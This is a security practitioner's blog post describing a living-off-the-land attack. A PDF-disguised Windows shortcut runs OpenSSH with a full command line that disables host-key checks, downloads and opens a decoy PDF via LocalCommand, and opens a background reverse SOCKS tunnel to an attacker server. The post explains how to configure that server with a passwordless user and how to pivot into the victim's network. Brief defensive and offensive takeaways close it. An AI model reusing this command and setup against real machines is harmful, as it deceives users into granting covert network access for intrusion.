Reading an interesting blog post by a fellow cyber security practicioner Alex Reid, got me back into some practical action. Let me share with you, my insights, thoughts and ideas behind this awesome living of the land attack technique for establishing pivot point into private network.
Figure 1. What we actually accomplished (Video)
.LNK Shenanigans
To be honest, it will be fairly difficult if not impossible to deliver .lnk (shortcut files) via email in to a somewhat serious and protected network that have implemented at least some form of spam/virus filter-gateways in to their email server solutions, although it is a subject to debate.
Anyhow, delivered either through email via compressed archives, or some other convenient enough way, once it is on the target machine, we will have a beautifull PDF look alike that once clicked on to, will execute OpenSSHs client (ssh.exe) located at "C:\Windows\System32\OpenSSH\ssh.exe" with commands we will discuss and explain later on. Point is, once "PDF" is clicked, it will open a legitimate PDF file for target to explore and enjoy, while in the background it will open a SSH Socks tunnel for us to have access in to a targets network.
Lets first discuss finding original PDF icon for the shortcut. It is located (on everyones Windows workstation/server) in to a "C:\Windows\ProgramFiles(x86)\Microsoft\Edge\Application\msedge.exe". It was not so much fun finding it and going through all of the .dlls from the list, and not finding it in any of those, when i remembered it must be in to a msedge's binary as it is my default application for handling PDF files.
Now on to a command itself:
C:\Windows\System32\OpenSSH\ssh.exe -o "StrictHostKeyChecking=no" -o "PermitLocalCommand=yes" -o "LocalCommand=curl -L -o %temp%\dummy.pdf https://getsamplefiles.com/download/pdf/sample-1.pdf && %temp%\dummy.pdf" -R 5555 -N -f [email protected]In above mentioned blog post, Alex uses scp for directly downloading legitimate PDF on to a targets system, it was possible because the user that he used for connecting to and establishing tunnel, probably had a default interactive shell setup, for my user I opted for /usr/sbin/nologin as a default shell, so scp is not an option, at least not possible by default, we could use sftp instead with some modification and use same technique, but i wanted to mix it up a bit, so for getting legit PDF directly via HTTPS i choose curl, why not.
With StrictHostKeyChecking we disable the known_hosts warning prompt as we don't want user to get spoofed, obviously. Upon successful establishment of a ssh connection, with LocalCommand we can declare custom commands we want to be executed, in our example, we download legitimate PDF file, save it in to a %temp% directory, and open it for target to be happy.
At the end, we open a reverse tunnel, on port 5555, which will allow us to use target as a proxy pivot point into the rest of the network it lives in to. I used 5555 as it was easier to debug/test, but setting it at "0" will dynamically assign any available port, and enable us to have multiple tunnels opened simultaneously. With "-f" we tell ssh to run in the background so target is not spoofed.
"Attackers" Server
As already mentioned, we want to create a paswordless user. I decided to give it a non-interactive shell "ie. /usr/sbin/nologin", so if it happens that someone discovers this user, and tries logging on to it, it won't be able to get a shell and execute commands, although may not be the perfect opsec/solution yet, it is a good step towards it, but we will not discuss further options for securing attackers server in this thread.
For this to work, we also want to enable PermitEmptyPasswords.
At this point, we are ready for incoming connections, once PDF(.lnk) is opened, tunnel is established on port 5555 (or any available port if we used 0 in the command), after which we can establish local forwarding on to our workbench machine in our example on to port 6666, as if we don't want to do our operations on machine that is receiving initial tunnels.
We also want to deny local forwards for passwordless user as we don't want someone who happens to know we are doing this campaign, to hijack our tunnel. For this we can use PermitOpen and PermitListen options for matched user "$passwordlessUser"
"Attackers" workbench
At this point, we can use our workbench as a operational station to do our reconnaissance/exploitation from and all of the requests would be comming from compromised Windows machine. In the Figure 1. video, as a PoC i've just used browsers socks proxy option to open a dummy IIS page hosted on Windows/Targets localhost at port 80, but we can fully utilize this with proxychains as well...
Defensive takeaways
- If already not, please apply default deny policy at your corporate/home firewall.
- Don't allow any outbound traffic expect for 443 and force it through proxy solution with strict ACLs / whitelisting logic.
- Implement proper email gateway protections/filters.
- Conduct interactive / hands-on educational sessions with these kind of scenarios as examples for your administrators and/or end users if applicable.
Offensive takeaways
- We can utilize SSHs binary in many other interesting ways as well, definitely a topic to do further research on.
- We can also chain this with some other native binaries for further executions/exploitation via LocalCommand.
- In lack of persistance, this should not be considered a standalone technique, a multiplate stage attack/payload should be implemented and this should only be one link in a chain.